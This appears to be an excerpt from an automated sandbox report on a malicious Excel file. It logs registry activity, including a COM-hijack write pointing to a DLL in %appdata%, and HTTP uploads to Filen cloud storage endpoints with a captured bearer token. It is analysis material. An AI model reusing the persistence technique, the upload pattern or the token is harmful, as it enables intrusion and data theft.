"HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "BEHAVIOR"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "MERGEALGORITHM"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "REGKEYPATHREDIRECTMAPPED"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "REGKEYPATHREDIRECT"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "GROUPPOLICYNAME"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "ADMXMETADATAUSER"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "ADMXMETADATADEVICE"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "ADMXMETADATABOTH"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "30VALUE"; Value: "") "EXCEL.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\POLICYMANAGER\DEFAULT\START\HIDERECENTJUMPLISTS"; Key: "VALUE"; Value: "")30:T4ac,"EXCEL.EXE" trying to touch file "C:\Windows\System32\apphelp.dll" "EXCEL.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" "EXCEL.EXE" trying to touch file "C:\Windows\System32\ntdll.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\kernel32.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\KernelBase.dll" "EXCEL.EXE" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "EXCEL.EXE" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "EXCEL.EXE" trying to touch file "C:\Windows\System32\AcGenral.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\userenv.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\mpr.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\sspicli.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\msvcrt.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\sechost.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\shlwapi.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\win32u.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\ucrtbase.dll" "EXCEL.EXE" trying to touch file "C:\Windows\System32\msvcp_win.dll"31:T4d8,Contains base62 string in header "htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj" in header "POST /v3/dir/exists HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.netContent-Length: 105Connection: Keep-Alive" Contains base62 string in header "htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj" in header "POST /v3/dir/create HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 228Connection: Keep-Alive" Contains base62 string in header "htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj" in header "POST /v3/upload/done HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen-3.netContent-Length: 652Connection: Keep-Alive" Contains base62 string in header "htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj" in header "POST /v3/dir/content HTTP/1.1Accept: application/jsonAuthorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MVContent-Type: application/jsonHost: gateway.filen.ioContent-Length: 66"32:T5963,"EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "1F1700000000000004000400010022020200000000B31C0200F76A010152B601019952020212F80002388F020285C70102E8C20103A63A0203CBE40103F91B02043E8E02045F9A0204931A0104AF630104DADC0105DE850205F9E70106C42802079A1902088D4201089E1902095E2F0209A336010A6B6C010BE8C5010BF99C020C3131020CE9C2000D28C7010D7879000D7E3E020D7E4F020DD3F9000E091A020E303E020E9F67020F168C01101755021043E800112969021142C20011AB3D0212E5F800130A360213951B0213E9780014FD160215E07E0216D134021793380117C06F0117DE370118208A02186C1E0219C0E2001A2D42021AE8EC011BF60B001C8FCF001C955C001D3083021D3BC5011D5819021E451E021EC330021ED770011F34CC011F626C021F6C76022018F200213AC30121777A00223BED0122A7730123116E01237AF80123ABE90123CC4F01246B460124ACC70024C18B0125023802254F6E01262B9401264BA801267F9D022834190228A11B012919DA0129450101297DA90129861F0229CE33022AC7DE002B2499002BD8E5012C9F7A022CA603022D22DA012D5838012E1EF0012E4A1C022E6974012E7714022F39D5002F4CE5012FA8FF0131484F003257A400329F7A0232D1A70032D45F0133FB2A0233FE38023542CC0135602102361EE10139A7C20139AFDE013A99D9013B8031023CB352003D121F023D218F023DC47F023E1CB7013E3383003E5BED01403D670140A28E0141A8760041BC3A02420D510242264A0042B3AE0042C54D02435EBA0143AB210144A4C401454ED30045668A024677300146AB2E024785F501483BDB0148C24F0048F9A60049CBA30149DA1B0249EAB7004AAA81004AC433024ADEE1014B2A91014B6EE3014B7207024BF474024C15AA014C41B4004C9E02024CC84B014D3ED9014E50C2014F14C2004FA53302508F000252769302534673015355E401536A3A02538AAD015408340254302F0254B7DC0054DFE20155DB8C0155E6E101560A850057426B01577AF801578A1B0257AD120158021202589E270258BB5C02594F87025953940059C43C025A0189025A0289025A0A83025A2C80015AE213025AF783025B1203025C3598015E83D7015EF05F025F83500261D42A0261D98C0162DC300262EF34026396770063FD310264054E0264C9260164D4190164F42B0265C4850265ED1D0267ABEE0167BA6B0268130102682C90006957EA0169592A0269CC4F016A3683026A61E8016A7365016A95E2016BF42B026C0B76026C137F026C6F66026CA164026D2390026DEE2C026E4538027052E20170A32C0271014902718C9A02726E4A0072A2420172CD99017321FB0073422F0274A3A30175A37E007691CF0177D52F0277F98F0178159600785DD30179F99C027A5B7C027C82C9017CBAFC017D904A017DBBD6017E1044017E3732027E5030027EEE89027F16AA017F88CA00800184028106950081B0690281B942028227730082409702825B8A0282FB2A02833AC50183F16000844D260184D7780284E11E0284E6830085311B028550AE0085E34102861BDE01867B060186ECB6018754990287D5140287DE830087F0250187FC380288818702890CE901892F830289DC8B018A8093008AFAE3008BEEF2008BFD6E018C1D88028C8F94028E78A2008E90C6018ED891018FEAF9019123D30091C335029259160092603302928271009369C70093CA3D0293CDFD0193CE8C019439F701945AE001945B270294A15B0195126E01959F33019697E30196A26E0197F6C40098C7F10198D7780299429B02996776029A0B73019B4A72029C429B029C4D22029CE0A8009D9D92009E1E90019F8230029F8314029FF47702A1236602A19D2A01A2050600A2065D02A2961002A3998D02A3C4E200A3C88302A3E8DD01A4580200A4778D02A4AEE901A5092E02A5ADCF00A644A600A6E9B300A736A800A7B8AD00A7C23301A7E23E02A8EA4E02AAB1FC01AAF63F02AB9FC901ABF42B02AC4D1C02AC54F900AC79D901AC930202AD2DB801AD73BF00AE4D5702AEE69101AF086501AF9C0202B09E9702B0F13802B2376E01B2827902B2BAFC01B3732002B3742D02B392FB00B4D7C501B51B6701B5661202B7750C02B7E23E02B8C37F02B91AF300B979AE01B9B92A02B9FA7702BB51DD01BB8E1602BB8E8B00BBF42B02BC6EB400BCD22A01BD388F00BEAF8A02BF0CE901BF674602BFDC4602C0079A00C03A8E02C046AD00C1BCF101C2151602C2610B01C2DEE401C2FD7C02C33EA300C36D8100C399F300C535C900C561EA01C58D9002C5EA1602C6331902C75DD700C85C5902C8B83902C9389700CA072E02CA23B700CB533302CB74DA00CC495600CCEFEF00CDBA8302CE99E001CEE23E02CF1C0402CF74AA00CFF36501D0175600D0B00802D1D2A700D2638F02D2C12702D2CF9D02D2E67302D2ED3702D3140C02D3826100D3834B01D3E88D00D4489A01D4A04002D5398801D5F78602D6231F02D6EF5802D737C501D7D2C501D7E86C02D8E79C01D940E901D997E001DA0B7301DA38C801DB7A1402DB87DD01DBE23E02DBE56F02DC451502DC5C2B02DD1B1901DE0F8702DE692702DF294302E0093602E01FA101E0BC0102E1417E02E16D9901E17E8C00E193B001E1E3D801E21B5600E2BC8802E2DB2C02E4402701E469C900E4EF1B02E5BD5C01E5E03902E6109902E63E2B0DE66C8100E6BD3902E7A3E901E7A4D900E7E23E02E88E2401E98C0A01E9D36601E9EA3402EB3B9402EB8D3302EB908D02EC63C501EC95E101ECBC3602ECDCD901EDAA2E02EE165502EE5F9902EE930202EEAF9B02EFD67202F0694F02F07F0B02F0B91402F0E0B600F133E901F13A9102F1728102F17D5F00F1AD3D01F1FC6000F20E9302F2B4FA00F2FFA501F308DB00F3492A02F3658E02F3894001F3B82102F458EC01F4EA9502F5500D01F577C201F62D3102F6F12B02F7125E00F7D36F00F7EC8302F7ED6A00F8C13D02F9DFA101FA667802FAFB8402FB8CC601FC3A4701FC75BA01FD148602FDB0D900FDDFE501FE784F02FE8D5E02FEDC8C01FEE26301FF10DD01FF3400023B00060000000DEAFC0110BE880212F7C70113F7C7011A6F93021BA02E02212E4D0225C5010228614B022E240F022EDD89023C6AF901410189024BFC6D0251B2340261057C0261367A0263CB2E02644DDF0169B992026A23E20170FC8802786C6D0279DE98027A8B38027E018902877B32028B2894028EE3780299345802996776029E306B02A1866302A6749502AFA32E02B0D58102B5235202B6F13B02B7F15002BB635C02C1239D01C3445D02C8D15D02CF6C8502CFF42B02D88C3F02DBB95D02DCEF8E02DFD47602E2077F02E4718902EA5B9402EBAC7502EDF38E02EF007702F02A7402F0E23E02F7CC9002FC998D020900400100000212F8001ED770014B11B400580212026041AE00682C90008AFAE300A5ADCF00CE99E001010041010000861BDE010100420100009E1E9001010043010000C0EC7C0000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\SECURITY\TRUSTED DOCUMENTS"; Key: "LASTPURGETIME"; Value: "8EA8C50100") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\RESILIENCY\STARTUPITEMS"; Key: "ONB"; Value: "onb") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "Off") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "4F006E00000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\SHARED TOOLS\OUTLOOK\JOURNALING\MICROSOFT EXCEL"; Key: "ENABLED"; Value: "0000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL"; Key: "MTTT"; Value: "D01000009155BD8CF511DD010000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL"; Key: "FONTINFOCACHE"; Value: "6000000060000000F5FFFFFF0000000000000000000000009001000000000000000000205400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000001B000000000000000D0000000B000000020000000200000000000000330000000000000000000000F5FFFFFF0000000000000000000000009001000000000000000000205400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000001B000000000000000D0000000B000000020000000200000000000000330000000000000000000000F5FFFFFF000000000000000000000000BC02000000000000000000205400610068006F006D006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000020000000000000000D0000000B000000020000000200000000000000330000000000000000000000F3FFFFFF0000000000000000000000009001000000000000000000005400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000002000000000000000100000000D000000030000000300000000000000330000000000000000000000F3FFFFFF0000000000000000000000009001000000000000000000005400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000002000000000000000100000000D000000030000000300000000000000330000000000000000000000F1FFFFFF000000000000000000000000900100000000000000000000430061006C0069006200720069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000001A00000000000000120000000E0000000400000003000000000000003300000000000000000000000E0000000000000000000000000000009001000000000000000000205400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000001D000000000000000E0000000C0000000200000002000000000000003300000000000000000000000E000000000000000000000000000000BC02000000000000000000205400610068006F006D006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000023000000000000000E0000000C000000020000000200000000000000330000000000000000000000F5FFFFFF0000000000000000000000009001000000000000000000205400610068006F006D00610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000001B000000000000000D0000000B000000020000000200000000000000330000000000000000000000F5FFFFFF000000000000000000000000BC02000000000000000000205400610068006F006D006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000020000000000000000D0000000B000000020000000200000000000000330000000000000000000000F1FFFFFF000000000000000000000000900100000000000000000000430061006C0069006200720069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000001A00000000000000120000000E000000040000000300000000000000330000000000000000000000F1FFFFFF000000000000000000000000900100000000000000000000430061006C0069006200720069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000001A00000000000000120000000E000000040000000300000000000000330000000000000000000000F1FFFFFF000000000000000000000000900100000000000000000000430061006C0069006200720069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000001A00000000000000120000000E000000040000000300000000000000330000000000000000000000F1FFFFFF000000000000000000000000BC0200000000000000000000430061006C0069006200720069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000001B00000000000000120000000E00000004000000030000000000000033000000000000000000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\OPTIONS"; Key: "FIRSTRUN"; Value: "0000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\XLMAIN"; Key: "FRIENDLYNAME"; Value: "Microsoft Excel") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\XLMAIN"; Key: "SHOWBUTTONS"; Value: "0100000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\COMMON\SMART TAG\APPLICATIONS\XLMAIN"; Key: "SHOWINDICATORS"; Value: "0100000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\RESILIENCY\DOCUMENTRECOVERY\364BA2B4"; Key: "364BA2B4"; Value: "04000000D01000000800000043003A005C005F002E0078006C007300000000000300000043003A005C000100000000000000F07A3290F511DD01B4A24B36B4A24B3600000000B802000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\RESILIENCY\DOCUMENTRECOVERY\364BA2B4"; Key: "364BA2B4"; Value: "04000000D01000000800000043003A005C005F002E0078006C007300000000000300000043003A005C000100000000000000F07A3290F511DD01B4A24B36B4A24B3600000000B802000000180000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "EXCELFILES"; Value: "0800EC5C00") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "1000EC5C00") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\REVIEWCYCLE"; Key: "REVIEWTOKEN"; Value: "{E851B04D-E6CC-4548-BAE9-8434B112DEB1}") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\RESILIENCY\DOCUMENTRECOVERY\364BD56D"; Key: "364BD56D"; Value: "04000000D01000000800000043003A005C005F002E0078006C007300000000000300000043003A005C0001000000010000000ED8D187F511DD016DD54B366DD54B3600000000B80200006E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\PLACE MRU"; Key: "MAX DISPLAY"; Value: "1900000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\PLACE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DD11F59800EC80][O00000000]*C:\") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\FILE MRU"; Key: "MAX DISPLAY"; Value: "1900000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\FILE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DD11F59805A770][O00000000]*C:\_.xls") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LICENSING"; Key: "8B1BF0B4A1CA4656AA46D11C50BC55A4"; Value: "01000000270000007B39303134303030302D303031312D303030302D313030302D3030303030303046463143457D00580000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F0050006C00750073002D004B004D0053005F0043006C00690065006E0074002000650064006900740069006F006E00000000") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL"; Key: "EXCELNAME"; Value: "Microsoft Excel") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "INPUT"; Value: "Plain,Dotted,AppText,AppWindow,AppText") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "TARGETCONVERTED"; Value: "Plain,Single,White,DkBlue,DkBlue") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "CONVERTED"; Value: "Plain,Dotted,AppText,AppWindow,AppText") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "TARGETNOTCONVERTED"; Value: "Plain,Single,DkBlue,AppWindow,AppText") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "INPUTERROR"; Value: "Plain,Thick,AppText,AppWindow,Red") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\IMEMIP\0X0409"; Key: "FIXEDCONVERTED"; Value: "Plain,AppText,AppWindow,AppText") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "VBAFILES"; Value: "0200EC5C00") "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\CLSID\{30D49246-D217-465F-B00B-AC9DDD652EB7}\INPROCSERVER32"; Key: "(DEFAULT)"; Value: "%appdata%\Microsoft\Internet Explorer\UserData\Low\DB\uimanager.dll"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\SECURITY\TRUSTED DOCUMENTS\TRUSTRECORDS"; Key: "FILE:///C:/_.XLS"; Value: "A44E167EF511DD010028A153C5FFFFFF8DA8C501FFFFFF7F00"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\EXPLORER.EXE"; Value: "06B364DBF511DD010000000000000000000000000200000000"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400100000000F01FEC\USAGE"; Key: "PRODUCTNONBOOTFILESINTL_1033"; Value: "0100EC5C00"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400100000000F01FEC\USAGE"; Key: "PRODUCTNONBOOTFILESINTL_1033"; Value: "0200EC5C00"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\PLACE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DD11F64E76ABD0][O00000000]*C:\"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\FILE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DD11F64E791CD0][O00000000]*C:\_.xls"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\RESILIENCY\DOCUMENTRECOVERY\365081C6"; Key: "365081C6"; Value: "04000000D01000000800000043003A005C005F002E0078006C007300000000000300000043003A005C000100000001000000456E744EF611DD01C6815036C681503600000000B80200006E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\OPTIONS"; Key: "OPTIONS5"; Value: "8000000000"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\OPTIONS"; Key: "OPTIONFORMAT"; Value: "00000000000000000000000000000000000000000000000000"), "EXCEL.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\EXCEL\OPTIONS"; Key: "POS"; Value: "78 78 960 543")33:T12a9,"POST /v3/dir/exists HTTP/1.1 Accept: application/json Authorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV Content-Type: application/json Host: gateway.filen.net Content-Length: 105 Connection: Keep-Alive" with payload::==> "{"nameHashed":"c3ec94a02cd62b0a5236d97705e783a3301f63de","parent":"d7d03ff3-75dd-4080-b06d-813ba78bf6df"}" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Jul 2026 11:59:21 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding referrer-policy: no-referrer x-cl: 115 X-Served-By: web8-dus7m1r1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: strict-origin Cache-Control: no-store Pragma: no-store Access-Control-Allow-Origin: * with response body ==>7B22737461747573223A747275652C226D657373616765223A22466F6C64657220646F6573206E6F742065786973742E222C22636F6465223A22666F6C646572....... "POST /v3/dir/create HTTP/1.1 Accept: application/json Authorization: Bearer eJIXv9YX-mYae8oNX70U8HXekQb-htxlK4T65iOqm5ATeF46eu9jmkIfKCpuj-MV 